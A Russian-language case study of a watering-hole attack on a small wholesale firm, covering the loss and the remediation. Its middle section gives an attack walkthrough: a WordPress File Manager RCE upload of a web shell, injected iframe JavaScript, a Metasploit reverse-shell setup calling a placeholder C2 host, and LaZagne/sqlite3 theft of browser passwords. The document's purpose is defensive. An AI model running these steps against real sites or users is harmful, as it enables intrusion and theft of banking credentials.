Заказ был совсем другой. Владелец оптовой компании попросил разобраться, почему в CRM путаются остатки и задваиваются заказы — типовая задача на пару дней. Но при разборе сетевых логов обнаружилось, что компьютер бухгалтера ночью самостоятельно выходил в интернет, хотя в офисе никого не было. Дальше пришлось откладывать CRM и заниматься другим.
Заказ был другой
На вопрос, что она открывает в браузере в течение дня, бухгалтер честно перечислила: почта, 1С-Отчётность, пара новостных сайтов в обед, сайт районной поликлиники. Ничего из списка «не открывайте странные ссылки» — ни одного нарушения регламента. Именно это и делало случай интересным: заражение произошло без единого клика по вредоносной ссылке.
Где была дыра
Компьютер бухгалтера не взламывали напрямую. Взломали два ресурса, которые она регулярно посещала — новостной сайт и сайт поликлиники. В код страниц был внедрён скрытый JavaScript, который отрабатывал автоматически при открытии страницы, без скачивания файлов и без взаимодействия пользователя. Это классическая схема watering hole (атака на «водопой»): вместо того чтобы ломать конкретную компанию, злоумышленник компрометирует массовый ресурс, который посещает нужная аудитория — читатели новостей, пациенты поликлиник, бухгалтеры, заходящие на сайты госуслуг и банков.
Как это эксплуатируется
Разберём по шагам, как выглядит такая атака технически — от взлома сайта-«водопоя» до кражи сессии в банк-клиенте.
Шаг 1. Разведка и взлом сайта-донора
Новостные и медицинские сайты — частая жертва, потому что живут на устаревших CMS с плагинами, которые годами не обновляются. Атакующий начинает с обычной разведки:
nmap -sV -p80,443 news-example.ru
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.0
443/tcp open https nginx 1.14.0 (SSL)
curl -I https://news-example.ru
HTTP/1.1 200 OK
Server: nginx/1.14.0
X-Powered-By: PHP/7.2.24
X-Generator: WordPress 5.7
Версия WordPress и PHP в ответе сервера — уже наводка. Дальше идёт перечисление плагинов и точек входа:
wpscan --url https://news-example.ru --enumerate vp,vt --api-token XXXX
[+] WordPress version 5.7 identified
[+] WordPress theme in use: newspaper-theme, version 9.3.1
[+] Enumerating Vulnerable Plugins...
[!] Title: File Manager <= 6.9 - Unauthenticated RCE (CVE-2020-25213)
Похожие плагины загрузки файлов (File Manager, plugin типа elFinder), не обновлённые вовремя, регулярно фигурируют в реальных инцидентах именно с сайтами СМИ и госучреждений. Через CVE-2020-25213 или аналогичную RCE в плагине атакующий получает возможность выполнить код на сервере:
curl -X POST https://news-example.ru/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php \
-F "cmd=upload" -F "target=l1_Lw" -F "upload[]=@shell.php"
Дальше — веб-шелл, доступ к базе и, что важнее для этой схемы, к файлам темы. Достаточно одной инъекции в footer.php или header.php.
Шаг 2. Внедрение скрытого кода в страницу
В код темы (или через compromised рекламный баннер, что тоже частая схема — malvertising) добавляется невидимый iframe или обфусцированный JS:
<script src="https://cdn-analytics-stat[.]cc/lib.js" defer></script>
// внутри lib.js (деобфусцировано)
var img = document.createElement('iframe');
img.style.display = 'none';
img.src = 'https://exploit-kit[.]top/gate.php?id=8231';
document.body.appendChild(img);
Домен подобран под легитимный (analytics, cdn, stat) — визуально не отличить от систем аналитики, которые и так стоят на большинстве сайтов. Именно так exploit kit-и (в духе RIG EK, известного как раз по кампаниям через взломанные новостные и adult-сайты) доставляли payload годами.
Шаг 3. Эксплойт браузера на стороне жертвы
Если браузер не обновлён — а в этом кейсе он не обновлялся почти год — скрытый iframe подгружает эксплойт под конкретную уязвимую версию движка рендеринга или JS-движка. Условно, для устаревшего Chrome/Chromium-based браузера это может быть цепочка вида CVE в V8 (type confusion) + sandbox escape:
# Пример модуля из связки эксплойтов (условно, для демонстрации логики)
msfconsole
use exploit/multi/browser/some_browser_uaf
set SRVHOST 0.0.0.0
set URIPATH /gate.php
set PAYLOAD windows/meterpreter/reverse_https
set LHOST attacker-c2.example
exploit
После срабатывания эксплойта в фоне разворачивается инфостилер — без диалогов, без UAC, без файла, который надо «открыть». Пользователь просто читает статью.
Шаг 4. Кража сохранённых сессий и паролей
Дальше стилер (по механике похож на публично известные семейства RedLine, Vidar, Raccoon) выкачивает базу сохранённых паролей и cookies браузера:
# типовые пути стилера в Chrome/Chromium
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies
# локально для демонстрации того, что видит атакующий
sqlite3 "Login Data" "select origin_url, username_value, password_value from logins;"
Пароли в этой таблице зашифрованы через DPAPI ключом пользователя Windows, но раз стилер работает в контексте залогиненного пользователя — расшифровка тривиальна:
laZagne.exe browsers
[+] 1 passwords found for user browser: chrome
[+] URL: https://online.somebank.ru/client/
[+] Login: buhgalter@company-example.ru
[+] Password: **************
Именно так «пароль, сохранённый в браузере» превращается в готовую пару логин/пароль от банк-клиента буквально за секунды, без всякого брутфорса и hashcat — DPAPI в контексте пользователя ломать не нужно, он уже расшифрован живым процессом.
Полутехнические пруфы, на которые стоит смотреть
- исходящие DNS-запросы к доменам вида cdn-*, stat-*, analytics-* с TTL и датой регистрации домена меньше 90 дней — признак свежей инфраструктуры для malvertising/watering hole;
- соединения в нерабочее время с процесса браузера или его дочерних процессов на внешние IP, не входящие в CDN-подсети известных сервисов;
- заголовок
X-GeneratorилиX-Powered-Byсайта-источника, указывающий на устаревшую CMS — легко проверяется одним curl’ом со стороны; - отсутствие Content Security Policy (CSP) на сайте-доноре — без CSP инъекция стороннего скрипта в тело страницы ничем не блокируется браузером;
- записи в антивирусных базах и nuclei-темплейтах по CVE конкретных версий плагинов CMS, характерных именно для новостных движков.
Быстрая проверка стороннего сайта на известные уязвимости делается одной командой, без ручного перебора CVE:
nuclei -u https://news-example.ru -t cves/ -severity critical,high
[CVE-2020-25213] [http] [critical] https://news-example.ru/wp-content/plugins/wp-file-manager/
Что и почему сработало бы дальше
Если бы аудит не заметил ночную активность, цепочка развивалась бы дальше: со скомпрометированной сессии в банк-клиенте атакующий делает перевод либо сразу, либо добавляет платёж в очередь подписи, которую бухгалтер подтверждает сама, не заметив подмены получателя (классика — подмена реквизитов в буфере обмена через тот же стилер). Одновременно из той же учётки крадутся cookies других сервисов — 1С-Отчётности, электронного документооборота, личного кабинета налоговой. Так одна скомпрометированная машина превращается в точку входа для BEC-атаки на контрагентов компании: с адреса бухгалтера уходят письма с «новыми реквизитами» партнёрам. Без сегментации сети та же связка легко разворачивается по SMB на соседние машины склада и продаж — тогда счёт потерь идёт не на сотни тысяч, а на порядок выше.
Сколько теряли
Пароль от банк-клиента украли за неделю до визита. Пока владелец разбирался с банком, блокировал счета и писал заявления, компания потеряла чуть больше 300 000 ₽ — часть вернуть не удалось. Плюс три дня простоя бухгалтерии на смену паролей и переоформление доступов. Для небольшой оптовой фирмы это ощутимый удар по кварталу.
Как закрыли
- Поставили на все компьютеры антивирус с проверкой скриптов на веб-страницах (веб-антивирус, а не только файловый сканер) — блокирует именно тот тип загрузки, что был в этом случае.
- Настроили DNS-фильтрацию на уровне сети через локальный резолвер с блок-листами:
# пример правила в pfBlockerNG / Pi-hole addn-hosts=/etc/pihole/malicious-domains.list # автоматическое обновление списков из открытых threat-feed'ов wget -O malicious-domains.list https://feed.example/blocklist.txt - Убрали сохранение паролей в браузере групповой политикой:
пароли перенесли в защищённый менеджер с мастер-паролем и 2FA.# реестр Windows, отключение сохранения паролей Chrome [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome] "PasswordManagerEnabled"=dword:00000000 - Разделили сеть на VLAN: бухгалтерия, склад, продажи — на уровне управляемого коммутатора и правил firewall между сегментами, чтобы заражение одной машины не расползалось по всей офисной сети.
- Настроили алерт владельцу в мессенджер при попытке обращения любой машины к домену из списка известных вредоносных ресурсов — минимальный SOC своими руками, без выделенного специалиста в штате.
Опаснее всего не подозрительная ссылка в письме, а привычный сайт, который взломали без вашего ведома.
Всё это заняло два дня и обошлось владельцу в разы дешевле уже понесённых потерь. Дыра была не в компьютере бухгалтера — она была в самой идее, что «раз ничего не скачивал, значит, безопасно». От watering hole атаки не спасает осторожность сотрудника: он действительно ничего не нарушал. Спасает только защита на уровне браузера и сети — то, о чём в большинстве малых компаний просто не подумали до первого счёта на 300 000 ₽.
